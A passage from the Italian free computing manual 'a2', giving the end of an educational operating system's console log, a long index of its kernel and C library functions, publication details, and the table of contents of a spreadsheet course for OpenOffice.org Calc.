[mm_list] free 0010E5A8..01EF0000 size 01EEFFFC
# quit
[kernel_main] system halted
```

[1] Evidentemente, il limite massimo teorico della frequenza che può essere generata è proprio 1,193 181 MHz che si ottiene dividendo semplicemente per uno; inoltre, sapendo che il divisore può avere al massimo il valore 65 535, la frequenza minima è di 18,22 Hz, corrispondente al valore predefinito iniziale.

Indice analitico del volume

aaa 6773 aaa.c 7838 abort() 6843 abort.c 7654 abs() 6843 abs.c 7655 access() 6844 access.c 7796 addr_t 6685 6727 allocated 6774 allocated.c 7839 applic.sep.ld 7031 asctime() 6850 asctime.c 7779 assert() 6845 assert.h 7457 ATA 6609 ata.h 6947 7083 ata0 6931 ata1 6931 ata2 6931 ata3 6931 ata4 6931 ata5 6931 ata6 6931 ata7 6931 ata_cmd_identify_device() 6742 ata_cmd_identify_device.c 7086 ata_cmd_read_sectors() 6742 ata_cmd_read_sectors.c 7087 ata_cmd_write_sectors() 6742 ata_cmd_write_sectors.c 7089 ata_device() 6742 ata_device.c 7091 ata_drq() 6742 ata_drq.c 7092 ata_init() 6742 ata_init.c 7093 ata_lba28() 6742 ata_lba28.c 7098 ata_public.c 7099 ata_rdy() 6742 ata_rdy.c 7099 ata_read_sector() 6743 ata_reset() 6742 ata_reset.c 7101 ata_sector_t 6685 6741 ata_t 6685 6741 ata_valid() 6742 ata_valid.c 7101 ata_write_sector() 6743 atexit() 6846 atexit.c 7655 atoi() 6847 atoi.c 7656 atol() 6847 atol.c 7657 avvio 6769 basename() 6848 basename.c 7538 bbb.c 7841 blk.h 6732 6948 7043 blk_ata() 6948 blk_ata.c 6732 7050 blk_cache_check() 6949 blk_cache_check.c 7052 blk_cache_init() 6950 blk_cache_init.c 6732 7052 blk_cache_read() 6951 blk_cache_read.c 6732 7053 blk_cache_save() 6951 blk_cache_save.c 6732 7054 blk_cache_t 6685 blk_public.c 7055 bochs 7032 brk() 6791 brk.c 7797 build.h 7344 cat 6774 cat.c 7841 ccc.c 7843 chdir() 6793 chdir.c 7798 chgrp 6775 chgrp.c 7844 chiamata di sistema 6713 chmod 6775 chmod() 6794 chmod.c 7743 7845 chown 6776 chown() 6796 chown.c 7799 7847 clearerr() 6849 clearerr.c 7577 CLI 6576 cli() 6697 cli.s 7220 clock() 6797 clock.c 7781 clock_t.h 7458 close() 6798 close.c 7799 closedir() 6849 closedir.c 7483 conclusione 6769 condotto 6751 console 6931 console0 6931 console1 6931 console2 6931 console3 6931 cp 6777 cp.c 7848 CPL 6571 creat() 6850 creat.c 7508 crt0.mer.s 7853 crt0.s 6689 7344 crt0.sep.s 7855 ctime() 6850 ctype.h 7458 date 6777 date.c 7858 dev.h 6730 6952 7055 dev_ata() 6955 dev_ata.c 7062 DEV_CONSOLE 6733 DEV_CONSOLE***n*** 6733 dev_dm() 6955 dev_dm.c 6730 7064 DEV_DM***mn*** 6733 dev_io() 6730 6954 dev_io.c 6730 7065 dev_kmem() 6956 dev_kmem.c 6730 7066 DEV_KMEM_FILE 6733 DEV_KMEM_INODE 6733 DEV_KMEM_MMP 6733 DEV_KMEM_PS 6733 DEV_KMEM_SB 6733 DEV_MEM 6733 dev_mem() 6957 dev_mem.c 7070 DEV_NULL 6733 DEV_PORT 6733 DEV_TTY 6733 dev_tty() 6957 dev_tty.c 6730 7072 DEV_ZERO 6733 DIR.c 7483 directory_t 6685 dirent.h 7476 dirname() 6848 dirname.c 7539 div() 6852 div.c 7657 dm.h 6958 7074 dm_init.c 7080 dm_public.c 7083 dm_t 6741 DPL 6571 dup() 6798 dup.c 7800 dup2() 6798 dup2.c 7800 eccezione 6601 ed 6778 ed.c 7861 elf-to-os32 7032 endgrent() 6876 endpwent() 6883 environ 6941 environ.c 7801 environment.c 7658 errfn 6854 errln 6854 errno 6854 errno.c 7500 errno.h 7489 errset() 6854 execl() 6860 execl.c 7801 execle() 6860 execle.c 7802 execlp() 6860 execlp.c 7802 execv() 6860 execv.c 7803 execve() 6799 execve.c 7804 execvp() 6860 execvp.c 7805 exit() 6846 exit.c 7659 fchdir() 6793 fchdir.c 7806 fchmod() 6794 fchmod.c 7743 fchown() 6796 fchown.c 7806 fclose() 6862 fclose.c 7577 fcntl() 6801 fcntl.c 7509 fcntl.h 7500 fd_dup() 6758 6958 fd_dup.c 7131 fd_reference() 6758 6959 fd_reference.c 7133 fd_t 6685 feof() 6863 feof.c 7578 ferror() 6863 ferror.c 7578 fflush() 6864 fflush.c 7578

fgetc() 6864 fgetc.c 7579 fgetpos() 6865 fgetpos.c 7579 fgets() 6866 fgets.c 7580 FILE.c 7577 fileno() 6867 fileno.c 7581 file_pipe_make() 6961 file_pipe_make.c 7134 file_reference() 6754 6961 file_reference.c 7135 file_stdio_dev_make() 6754 6962 file_stdio_dev_make.c 7136 file_t 6685 6753 file_table.c 7137 fopen() 6868 fopen.c 7581 fork() 6803 fork.c 7807 fprintf() 6897 fprintf.c 7583 fputc() 6870 fputc.c 7583 fputs() 6871 fputs.c 7584 fread() 6872 fread.c 7584 free() 6889 free.c 7678 freopen() 6868 freopen.c 7585 fs.h 6743 6958 7121 fscanf() 6906 fscanf.c 7586 fseek() 6873 fseek.c 7586 fseeko() 6873 fseeko.c 7586 fsetpos() 6865 fsetpos.c 7587 fstat() 6829 fstat.c 7744 fs_init() 6960 fs_init.c 7137 ftell() 6874 ftell.c 7587 ftello() 6874 ftello.c 7588 fwrite() 6875 fwrite.c 7588 GDT 6578 gdt() 6699 gdt.c 7221 gdt_load() 6699 gdt_load.s 7222 gdt_print() 6699 gdt_print.c 7222 gdt_public.c 7223 gdt_segment() 6699 gdt_segment.c 7223 gdt_t 6685 getc() 6864 getchar() 6864 getchar.c 7588 getcwd() 6804 getcwd.c 7808 getegid() 6805 getegid.c 7809 getenv() 6876 getenv.c 7660 geteuid() 6807 geteuid.c 7809 getgid() 6805 getgid.c 7810 getgrent() 6876 getgrgid() 6878 getgrnam() 6878 getopt() 6879 getopt.c 7810 getpgrp() 6806 getpgrp.c 7815 getpid() 6806 getpid.c 7815 getppid() 6806 getppid.c 7815 getpwent() 6883 getpwnam() 6884 getpwuid() 6884 gets() 6866 gets.c 7589 getty 6943 getty.c 7890 getuid() 6807 getuid.c 7816 *global descriptor table* 6578 gmtime() 6850 gmtime.c 7781 grent.c 7517 group 6937 grp.h 7510 header_t 6685 ibm_i386.h 6696 6993 7207 IDE 6609 IDT 6589 idt() 6700 idt.c 7224 idtr_t 6685 idt_descriptor() 6700 idt_descriptor.c 7226 idt_irq_remap() 6700 idt_irq_remap.c 7227 idt_load() 6700 idt_load.s 7228 idt_print() 6700 idt_print.c 7228 idt_public.c 7229 idt_t 6685 imaxabs() 6843 imaxabs.c 7531 imaxdiv() 6852 imaxdiv.c 7531 INB 6575 init 6943 init.c 7892 inittab 6937 inode_alloc() 6748 6963 inode_alloc.c 7137 inode_check() 6748 6964 inode_check.c 7141 inode_dir_empty() 6748 6966 inode_dir_empty.c 7142 inode_file_read() 6748 6967 inode_file_read.c 7144 inode_file_write() 6748 6968 inode_file_write.c 7146 inode_free() 6748 6969 inode_free.c 7148 inode_fzones_read() 6748 6970 inode_fzones_read.c 7149 inode_fzones_write() 6748 6970 inode_fzones_write.c 7151 inode_get() 6748 6971 inode_get.c 7152 inode_pipe_make() 6748 6972 inode_pipe_make.c 7155 inode_pipe_read() 6748 6973 inode_pipe_read.c 7157 inode_pipe_write() 6748 6974 inode_pipe_write.c 7159 inode_print() 6748 6975 inode_print.c 7161 inode_put() 6748 6975 inode_put.c 7163 inode_reference() 6748 6976 inode_reference.c 7164 inode_save() 6748 6977 inode_save.c 7166 inode_stdio_dev_make() 6748 6978 inode_stdio_dev_make.c 7167 inode_t 6685 6746 inode_table.c 7169 inode_truncate() 6748 6979 inode_truncate.c 7169 inode_zone() 6748 6979 inode_zone.c 7172 input_line() 6886 input_line.c 7725 interfaccia di rete 6639 *interrupt descriptor table* 6589 interruzione 6594 inttypes.h 7519 in_16() 6696 in_8() 6696 IRET 6594 irq_off() 6697 irq_off.c 7229 irq_on() 6697 irq_on.c 7230 isatty() 6887 isatty.c 7816 isr.s 6703 7231 isr_exception_name() 6701 isr_exception_name.c 7245 isr_exception_unrecoverable() 6701 isr_exception_unrecoverable.c 7246 isr_irq_clear() 6701 isr_irq_clear.c 7246 isr_irq_clear_pic1()

6701 isr_irq_clear_pic1.c 7247 isr_irq_clear_pic2() 6701 isr_irq_clear_pic2.c 7247 isr_*n*() 6701 issue 6938 I&D 6681 kbd.h 6996 7102 kbd_isr() 6737 kbd_isr.c 7102 kbd_load() 6737 kbd_load.c 7104 kbd_public.c 7106 kbd_t 6685 kernel.ld 6689 7034 kill 6779 kill() 6808 kill.c 7567 7896 kmain.c 7345 kmem_file 6932 kmem_inode 6932 kmem_mmp 6933 kmem_ps 6934 kmem_sb 6934 k_exit.s 7254 k_gets.c 7255 k_perror.c 7255 k_printf.c 7256 k_sleep.c 7256 k_stime.c 7257 k_vprintf.c 7257 k_vsprintf.c 7258 labs() 6843 labs.c 7661 ldiv() 6852 ldiv.c 7662 LGDT 6587 libgen.h 7532 lib_k.h 6997 7248 lib_s.h 6997 7259 LIDT 6592 limits.h 7459 link() 6808 link.c 7817 llabs() 6843 llabs.c 7662 lldiv() 6852 lldiv.c 7662 ln 6779 ln.c 7900 localtime() 6850 login 6780 login.c 7903 longjmp() 6720 6822 longjmp.c 7557 ls 6781 ls.c 7907 lseek() 6810 lseek.c 7818 main() 6692 main.h 6997 7337 major() 6888 major.c 7754 MAKEDEV 6944 makedev() 6888 makedev.c 7754 MAKEDEV.c 7836 makeit.sep 7035 malloc() 6889 malloc.c 7679 man 6782 man.c 7914 mboot_public.c 7376 mboot_save.c 7376 mb_alloc() 6728 mb_alloc.c 7360 mb_alloc_size() 6728 mb_alloc_size.c 7362 mb_clean() 6728 mb_clean.c 7364 mb_free() 6728 mb_free.c 7364 mb_print() 6728 mb_print.c 7366 mb_public.c 7368 mb_reduce() 6728 mb_reduce.c 7368 mb_reference() 6728 mb_reference.c 7369 mb_size() 6728 mb_size.c 7369 mem 6935 memccpy() 6890 memccpy.c 7693 memchr() 6891 memchr.c 7693 memcmp() 6891 memcmp.c 7694 memcpy() 6892 memcpy.c 7694 memmove() 6892 memmove.c 7695 memory.c 6727 memory.h 6727 6998 7353 memset() 6893 memset.c 7695 MEM_BLOCK_SIZE 6727 MEM_MAX_BLOCKS 6727 menu.c 7351 minor() 6888 minor.c 7754 mkdir 6783 mkdir() 6811 mkdir.c 7745 7919 mknod() 6812 mknod.c 7745 mktime() 6850 mktime.c 7785 mmcheck 6783 mmcheck.c 7923 more 6784 more.c 7928 mount 6945 mount() 6813 mount.c 7729 7932 multiboot.h 6999 7370 multiboot_t 6685 *multiboot specification* 6687 namep() 6894 namep.c 7729 NE2000 6639 NIC 6639 null 6935 NULL.h 7457 offsetof() 6895 open() 6815 open.c 7510 opendir() 6895 opendir.c 7484 os32 6677 os32.h 6730 7709 OUTB 6575 out_16() 6696 out_8() 6696 part.h 6999 7377 passwd 6938 PATA 6609 path_device() 6757 6988 path_device.c 7180 path_fix() 6756 6989 path_fix.c 7181 path_full() 6756 6990 path_full.c 7183 path_inode() 6757 6991 path_inode.c 7184 path_inode_link() 6757 6992 path_inode_link.c 7188 PCI 6628 *peripheral component interconnect* 6628 perror() 6896 perror.c 7590 PIC 6602 *pipe* 6751 pipe() 6817 pipe.c 7818 PIT 6607 port 6935 printf() 6897 printf.c 7591 proc.h 6702 6999 7384 proc_available() 6999 proc_available.c 7393 proc_dump_memory() 7000 proc_dump_memory.c 7394 proc_init() 6714 7001 proc_init.c 7395 proc_offset_data_to_pointer() 7002 proc_offset_data_to_pointer.c 7399 proc_print() 7002 proc_print.c 7399 proc_public.c 7401 proc_reference() 7003 proc_reference.c 7402 proc_scheduler() 6715 7006 proc_scheduler.c 7411 proc_sch_signals() 7004 proc_sch_signals.c 7402 proc_sch_terminals() 7005 proc_sch_terminals.c 7403 proc_sch_timers() 7005 proc_sch_timers.c 7410 proc_sig_chld() 7007 proc_sig_chld.c 7415 proc_sig_cont() 7008 proc_sig_cont.c 7416 proc_sig_core() 7009 proc_sig_core.c 7416 proc_sig_handler() 6717 7010 proc_sig_handler.c 7418 proc_sig_ignore() 7010 proc_sig_ignore.c 7422 proc_sig_off() 7012 proc_sig_off.c 7423 proc_sig_on() 7012 proc_sig_on.c 7423

proc_sig_status() 7013 proc_sig_status.c 7423 proc_sig_stop() 7013 proc_sig_stop.c 7424 proc_sig_term() 7014 proc_sig_term.c 7424 proc_sys_exec() 7015 proc_sys_exec.c 7425 proc_t 6685 6709 proc_timer_init() 7017 proc_timer_init.c 7440 proc_wakeup_pipe_read() 7018 proc_wakeup_pipe_read.c 7441 proc_wakeup_pipe_write() 7018 proc_wakeup_pipe_write.c 7441 proc_wakeup_terminal() 7018 proc_wakeup_terminal.c 7442 *programmable interrupt controller* 6602 *programmable interval timer* 6607 ps 6785 ps.c 7934 PS/2 6609 ptrdiff_t.h 7460 putc() 6870 putchar() 6870 putchar.c 7591 putenv() 6901 putenv.c 7663 puts() 6871 puts.c 7592 pwd.h 7541 pwent.c 7548 qemu 7042 qsort() 6902 qsort.c 7664 rand() 6903 rand.c 7667 read() 6818 read.c 7819 readdir() 6904 readdir.c 7486 realloc() 6889 realloc.c 7684 restrict.h 7460 rewind() 6905 rewind.c 7592 rewinddir() 6905 rewinddir.c 7488 rm 6786 rm.c 7939 rmdir() 6819 rmdir.c 7820 RPL 6571 run.c 7352 sbrk() 6791 sbrk.c 7821 sb_inode_status() 6744 6980 sb_inode_status.c 7193 sb_mount() 6744 6982 sb_mount.c 7194 sb_print() 6744 6983 sb_print.c 7197 sb_public.c 7198 sb_reference() 6744 6984 sb_reference.c 7198 sb_save() 6744 6985 sb_save.c 7199 sb_t 6685 6743 sb_zone_status() 6744 6980 sb_zone_status.c 7201 scanf() 6906 scanf.c 7592 screen.h 7020 7106 screen_cell() 6739 screen_clear() 6739 screen_clear.c 7107 screen_current() 6739 screen_current.c 7108 screen_init() 6739 screen_init.c 7108 screen_newline() 6739 screen_new_line.c 7109 screen_number() 6739 screen_number.c 7110 screen_pointer() 6739 screen_pointer.c 7111 screen_public.c 7111 screen_putc() 6739 screen_putc.c 7111 screen_scroll() 6739 screen_scroll.c 7113 screen_select() 6739 screen_select.c 7114 screen_t 6685 screen_update() 6739 screen_update.c 7114 SEEK.h 7457 *selector* 6573 selettore 6573 setbuf() 6911 setbuf.c 7593 setegid() 6820 setegid.c 7822 setenv() 6911 setenv.c 7668 seteuid() 6826 seteuid.c 7822 setgid() 6820 setgid.c 7823 setgrent() 6876 setjmp() 6720 6822 setjmp.h 7550 setjmp.s 7558 setpgrp() 6825 setpgrp.c 7823 setpwent() 6883 setuid() 6826 setuid.c 7823 setvbuf() 6911 setvbuf.c 7593 shell 6787 shell.c 7940 signal() 6827 signal.c 7568 signal.h 7559 size_t.h 7461 sleep() 6828 sleep.c 7824 snprintf() 6897 snprintf.c 7593 specifiche *multiboot* 6687 sprintf() 6897 sprintf.c 7594 srand() 6903 sscanf() 6906 sscanf.c 7594 stack.s 6689 7353 stat() 6829 stat.c 7746 stat.h 7734 stdarg.h 7461 stdbool.h 7461 stddef.h 7462 stdint.h 7462 stdio.h 6913 7568 stdlib.h 7645 STI 6576 sti() 6697 sti.s 7247 stime() 6836 stime.c 7787 strcat() 6914 strcat.c 7696 strchr() 6915 strchr.c 7696 strcmp() 6916 strcmp.c 7697 strcoll() 6916 strcoll.c 7697 strcpy() 6917 strcpy.c 7698 strcspn() 6920 strcspn.c 7698 strdup() 6917 strdup.c 7699 strerror() 6918 strerror.c 7699 string.h 7686 strlen() 6918 strlen.c 7702 strncat() 6914 strncat.c 7702 strncmp() 6916 strncmp.c 7703 strncpy() 6917 strncpy.c 7703 strpbrk() 6920 strpbrk.c 7704 strrchr() 6915 strrchr.c 7704 strspn() 6920 strspn.c 7705 strstr() 6921 strstr.c 7705 strtok() 6921 strtok.c 7706 strtol() 6923 strtol.c 7670 strtoul() 6923 strtoul.c 7674 strxfrm() 6925 strxfrm.c 7709 sys() 6833 sys.s 7732 sysroutine() 6713 6714 7019 sysroutine.c 7443 s_brk() 6997 s_brk.c 7269 s_chdir() 6757 6997 s_chdir.c 7275 s_chmod() 6757 6997 s_chmod.c 7276 s_chown() 6757 6759 6997 s_chown.c 7277 s_clock() 6997 s_clock.c 7278

s_close() 6997 s_close.c 7278 s_dup() 6759 6997 s_dup.c 7280 s_dup2() 6759 6997 s_dup2.c 7280 s_fchmod() 6759 6997 s_fchmod.c 7281 s_fchown() 6997 s_fchown.c 7282 s_fcntl() 6759 6997 s_fcntl.c 7283 s_fork() 6997 s_fork.c 7285 s_fstat() 6759 6997 s_fstat.c 7291 s_kill() 6997 s_kill.c 7292 s_link() 6757 6997 s_link.c 7295 s_longjmp() 6720 6997 s_longjmp.c 7296 s_lseek() 6759 6997 s_lseek.c 7297 s_mkdir() 6757 6997 s_mkdir.c 7299 s_mknod() 6757 6997 s_mknod.c 7301 s_mount() 6757 6997 s_mount.c 7303 s_open() 6757 6997 s_open.c 7304 s_pipe() 6759 6997 s_pipe.c 7310 s_read() 6759 6997 s_read.c 7312 s_sbrk() 6997 s_sbrk.c 7315 s_setegid() 6997 s_setegid.c 7316 s_seteuid() 6997 s_seteuid.c 7317 s_setgid() 6997 s_setgid.c 7317 s_setjmp() 6720 6997 s_setjmp.c 7318 s_setuid() 6997 s_setuid.c 7319 s_signal() 6997 s_signal.c 7320 s_stat() 6757 6997 s_stat.c 7321 s_stime() 6997 s_stime.c 7323 s_tcgetattr() 6997 s_tcgetattr.c 7323 s_tcsetattr() 6997 s_tcsetattr.c 7325 s_time() 6997 s_time.c 7326 s_umount() 6757 6997 s_umount.c 7327 s_unlink() 6757 6997 s_unlink.c 7329 s_wait() 6997 s_wait.c 7333 s_write() 6759 6997 s_write.c 7334 s__exit() 6997 s__exit.c 7266 tastiera 6609 tcgetattr() 6834 tcgetattr.c 7770 tcsetattr() 6834 tcsetattr.c 7770 termios.h 7762 time() 6836 time.c 7788 time.h 7771 time_t.h 7464 touch 6788 touch.c 7954 tty 6788 6936 tty.c 7955 tty.h 7022 7116 ttyname() 6926 ttyname.c 7825 tty_console() 6736 tty_console.c 7116 tty_init() 6736 tty_init.c 7117 tty_public.c 7119 tty_read() 6736 tty_read.c 7119 tty_reference() 6736 tty_reference.c 7120 tty_t 6685 tty_write() 6736 tty_write.c 7121 types.h 7747 t_fifo.c 7945 t_grp.c 7947 t_pipe.c 7948 t_ret.c 7950 t_scr.c 7950 t_setjmp.c 7951 t_sig.c 7952 t_sig2.c 7953 umask() 6837 umask.c 7747 umount 6945 umount() 6813 umount.c 7732 7957 unistd.h 7788 unlink() 6838 unlink.c 7826 unsetenv() 6911 unsetenv.c 7675 utime.c 7834 utime.h 7828 u-area 6709 vfprintf() 6927 vfprintf.c 7594 vfscanf() 6928 vfscanf.c 7595 vfsscanf.c 7595 VGA 6577 vprintf() 6927 vprintf.c 7622 vscanf() 6928 vscanf.c 7623 vsnprintf() 6927 vsnprintf.c 7623 vsprintf() 6927 vsprintf.c 7644 vsscanf() 6928 vsscanf.c 7645 wait() 6838 wait.c 7761 wait.h 7755 wchar_t.h 7465 write() 6840 write.c 7827 yes 6789 yes.c 7958 zero 6936 zno_t 6685 zone_alloc() 6746 6986 zone_alloc.c 7202 zone_free() 6746 6986 zone_free.c 7203 zone_print() 6746 6987 zone_print.c 7204 zone_read() 6746 6987 zone_read.c 7205 zone_write() 6746 6987 zone_write.c 7206 z_perror() 6841 z_perror.c 7733 z_printf() 6841 z_printf.c 7734 z_vprintf() 6841 z_vprintf.c 7734 _alloc_list.c 7676 _exit() 6791 _Exit() 6791 _exit.c 7796 _Exit.c 7653 _gcc.h 7465 _in_16() 6696 _in_16.s 7218 _in_32.s 7217 _in_8() 6696 _in_8.s 7218 _lldiv.c 7473 _out_16() 6696 _out_16.s 7219 _out_32.s 7219 _out_8() 6696 _out_8.s 7220 _sighandler_wrapper.s 7566 _ulldiv.c 7474 __divdi3.c 7471 __moddi3.c 7472 __udivdi3.c 7472 __umoddi3.c 7473

«a2» 2010.10.10

Volume VIII

Didattica in laboratorio

ISBN 978-88-905012-0-3

Via Morganella Est, 21 -- I-31050 Ponzano Veneto (TV) -- ⟨*appunti2 (ad) gmail·com* ⟩

Il numero ISBN 978-88-905012-0-3 si riferisce all'opera originale in formato elettronico, pubblicata a titolo gratuito.

Per tutti i riferimenti dell'opera si veda ⟨*http://informaticalibera.net*⟩; per essere ridiretti automaticamente all'origine della distribuzione in-linea, si può usare l'indirizzo ⟨*http://appunti2.net*⟩. Al momento della pubblicazione di questa edizione, i punti di distribuzione in-linea più importanti, sono presso Internet Archive (⟨*http://www.archive.org/details/AppuntiDiInformaticaLibera*⟩), il GARR (⟨*http://appuntilinux.mirror.garr.it/mirrors/appuntilinux/*⟩) e ILS (⟨*http://appunti.linux.it*⟩). Tuttavia, per motivi tecnici, l'edizione pubblicata in-linea potrebbe non essere completa di tutti i contenuti, oppure potrebbe non essere sempre aggiornata. Pertanto, chi desidera ricevere **gratuitamente** una copia dell'ultima edizione di «a2» in DVD-ROM può scrivere all'autore, specificando l'indirizzo postale a cui va spedito il materiale:

daniele giacomini
via Morganella EST, 21
31050 Ponzano Veneto (TV)
⟨*appunti2 (ad) gmail·com*⟩

Dal momento che il pacchetto dei sorgenti dell'opera è molto grande (SGML, compilabile con Alml), se si desidera ricevere anche questo, è bene specificarlo.

Successivamente all'edizione 2009.11111 dell'opera (21 luglio 2009), inizia un processo di razionalizzazione con l'eliminazione di molti contenuti non più attuali o non più utili. Chi desidera ricevere una copia della versione 2009.11111 o di versioni precedenti, può farne ugualmente richiesta.

Parte xi

Foglio elettronico

122 Corso elementare sul foglio elettronico 8089

122.1 Primo approccio al foglio elettronico 8094
122.2 Introduzione a OpenOffice.org Calc 8103
122.3 Bordi, sfondi e fusione celle 8114
122.4 Configurazione della stampa 8123
122.5 Inserimento, variazione, collocazione e composizione dei dati nelle celle 8131
122.6 Inserimento, copia e spostamento, riferimenti relativi e assoluti 8144
122.7 Percentuali 8157
122.8 Aggiunta ed eliminazione delle celle 8163
122.9 Uso delle funzioni 8166
122.10 Segnalazioni di errore 8170
122.11 Funzioni di uso comune 8171
122.12 Condizioni 8181
122.13 Date e orari 8185
122.14 Grafici 8195
122.15 Ripartizione 8211
122.16 Calcolo del bollo della cambiale 8216
122.17 Funzioni di ricerca 8221
122.18 Riordino, filtro e moduli 8240
122.19 Nomi e casella nome 8246
122.20 Verifica di validità 8249
122.21 Protezione 8250
122.22 Stili 8254
122.23 Ricerca obiettivo 8258
122.24 Tabella «pivot», o «data pilot» 8260
122.25 Struttura 8267
122.26 Configurazione di OpenOffice.org Calc 8272
122.27 Soluzioni agli esercizi proposti 8274
122.28 Riepilogo delle funzioni comuni 8282

Capitolo 122

Corso elementare sul foglio elettronico

122.1 Primo approccio al foglio elettronico 8094

122.1.1 Esercizi 8095
122.1.2 Indicazione formale delle coordinate delle celle 8096
122.1.3 Esercizi 8097
122.1.4 Tipi di dati 8098
122.1.5 Costanti numeriche 8098
122.1.6 Esercizi 8099
122.1.7 Informazioni testuali: stringhe 8100
122.1.8 Espressioni 8100
122.1.9 Esercizi 8103

122.2 Introduzione a OpenOffice.org Calc 8103

122.2.1 Aspetto generale 8103
122.2.2 Navigazione nel menù 8106
122.2.3 Esercizi 8108
122.2.4 Navigazione nell'area di lavoro 8109
122.2.5 Esercizi 8110
122.2.6 Aspetto del puntatore del mouse 8110
122.2.7 Selezione nell'area di lavoro 8111
122.2.8 Esercizi 8112
122.2.9 Regolazione delle dimensioni delle celle 8113
122.2.10 Esercizi 8114

122.3 Bordi, sfondi e fusione celle 8114

122.3.1 Definizione dei bordi associata alla cella 8114
122.3.2 Esercizi 8114
122.3.3 Bordi rapidi 8115
122.3.4 Esercizi 8116
122.3.5 Bordi attraverso il menù 8117
122.3.6 Sfondi 8118
122.3.7 Fusione delle celle 8119
122.3.8 Esercitazione pratica 8120

122.4 Configurazione della stampa 8123

122.4.1 Area da riservare alla stampa 8123
122.4.2 Configurazione della pagina 8124
122.4.3 Verifica 8128

122.5 Inserimento, variazione, collocazione e composizione dei dati nelle celle 8131

122.5.1 Inserimento e variazione 8131
122.5.2 Collocazione nella cella 8133
122.5.3 Rotazione del contenuto della cella 8135
122.5.4 Testo a capo in modo automatico 8136
122.5.5 Caratteristiche del carattere tipografico 8138
122.5.6 Modalità di rappresentazione numerica di un valore 8140
122.5.7 Esercizi 8141
122.5.8 Verifica 8141

122.6 Inserimento, copia e spostamento, riferimenti relativi e assoluti 8144

122.6.1 Espressione esplicita 8144
122.6.2 Inserimento facilitato degli operandi di un'espressione 8145
122.6.3 Controllo delle zone coinvolte in un'espressione 8146
122.6.4 Copia normale delle celle 8147
122.6.5 Copia per trascinamento 8148
122.6.6 Spostamento delle celle: taglia e incolla 8150
122.6.7 Esercizio 8152
122.6.8 Funzione «somma()» 8152
122.6.9 Esercizio 8153
122.6.10 Esercizio 8154
122.6.11 Esercizio 8154
122.6.12 Riferimenti relativi e riferimenti assoluti alle celle 8155

122.7 Percentuali 8157

122.7.1 Inserimento di un valore percentuale 8157
122.7.2 Esercizi 8158
122.7.3 Calcolo della porzione rimanente 8158
122.7.4 Esercizio 8159
122.7.5 Esercizio 8159
122.7.6 Verifica 8160

122.8 Aggiunta ed eliminazione delle celle 8163

122.8.1 Inserimento ed eliminazione di zone di celle 8163
122.8.2 Inserimento ed eliminazione di righe e colonne intere 8165

122.9 Uso delle funzioni 8166

122.9.1 Inserimento facilitato delle funzioni 8166
122.9.2 Lista delle funzioni 8169

122.10 Segnalazioni di errore 8170

122.10.1 Errori a catena 8170

122.10.2 Esercizio 8171

122.11 Funzioni di uso comune 8171

122.11.1 Minimo, massimo e media 8171
122.11.2 Esercizio 8171
122.11.3 Arrotondamenti 8172
122.11.4 Esercizio 8173
122.11.5 Esercizio 8173
122.11.6 Somma condizionata 8173
122.11.7 Esercizio 8174
122.11.8 Verifica 8175
122.11.9 Verifica 8178

122.12 Condizioni 8181

122.12.1 Formato logico 8181
122.12.2 Operatori di confronto 8181
122.12.3 Esercizio 8182
122.12.4 Operatori logici 8182
122.12.5 Esercizio 8183
122.12.6 Funzione «SE()» 8183
122.12.7 Esercizio 8184
122.12.8 Esercizio 8184

122.13 Date e orari 8185

122.13.1 1900: anno bisestile? 8186
122.13.2 Inserimento di date e orari 8186
122.13.3 Operazioni con le date e gli orari 8188
122.13.4 Esercizio 8188
122.13.5 Esercizio 8188
122.13.6 Esercizio 8189
122.13.7 Esercizio 8190
122.13.8 Verifica 8191

122.14 Grafici 8195

122.14.1 Componenti di un grafico comune 8195
122.14.2 Creazione di un grafico con OpenOffice.org Calc 8195
122.14.3 Organizzazione dei dati: per riga o per colonna 8202
122.14.4 Area dei dati discontinua 8202
122.14.5 Grafici a istogramma 8204
122.14.6 Grafici a torta 8206
122.14.7 Grafici lineari 8208

122.14.8 Grafici XY 8209

122.15 Ripartizione 8211

122.15.1 Esercizio 8211
122.15.2 Esercizio 8212
122.15.3 Esercizio: ripartizione delle spese non documentate 8212
122.15.4 Verifica 8212

122.16 Calcolo del bollo della cambiale 8216

122.16.1 Percentuale del bollo 8216
122.16.2 Esercizio 8217
122.16.3 Esercizio 8217
122.16.4 Esercizio 8217
122.16.5 Verifica 8218

122.17 Funzioni di ricerca 8221

122.17.1 Funzione «CERCA.VERT()» 8221
122.17.2 Esercizio 8222
122.17.3 Funzione «CERCA.ORIZZ()» 8222
122.17.4 Esercizio 8222
122.17.5 Verifica 8223
122.17.6 Verifica 8226
122.17.7 Verifica 8229
122.17.8 Verifica 8232
122.17.9 Verifica 8235
122.17.10 Esercizio 8238

122.18 Riordino, filtro e moduli 8240

122.18.1 Riordino 8240
122.18.2 Filtro 8242
122.18.3 Modulo di immissione 8244

122.19 Nomi e casella nome 8246

122.19.1 Gestione completa 8246
122.19.2 Denominazione automatica 8247
122.19.3 Inserimento guidato 8248

122.20 Verifica di validità 8249

122.21 Protezione 8250

122.21.1 Modifica dello stato di protezione delle celle 8251
122.21.2 Attivazione e disabilitazione della gestione protetta 8251

122.21.3 Esercizio 8252

122.22 Stili 8254

122.22.1 Gestione degli stili 8254
122.22.2 Applicazione di uno stile 8256
122.22.3 Osservazioni sulla gestione degli stili riferiti all'impaginazione 8257
122.22.4 Applicazione di uno stile in modo condizionato 8257

122.23 Ricerca obiettivo 8258

122.24 Tabella «pivot», o «data pilot» 8260

122.24.1 Creazione di una «tabella pivot» 8260
122.24.2 Esercizio: dalla prima nota alla situazione dei conti 8264
122.24.3 Filtro 8266

122.25 Struttura 8267

122.25.1 Raggruppamento automatico 8268
122.25.2 Raggruppamento manuale 8270
122.25.3 Eliminazione di un raggruppamento 8271

122.26 Configurazione di OpenOffice.org Calc 8272

122.26.1 Maschere di configurazione di OpenOffice.org Calc 8272
122.26.2 Osservazioni sulla configurazione linguistica 8274

122.27 Soluzioni agli esercizi proposti 8274

122.28 Riepilogo delle funzioni comuni 8282

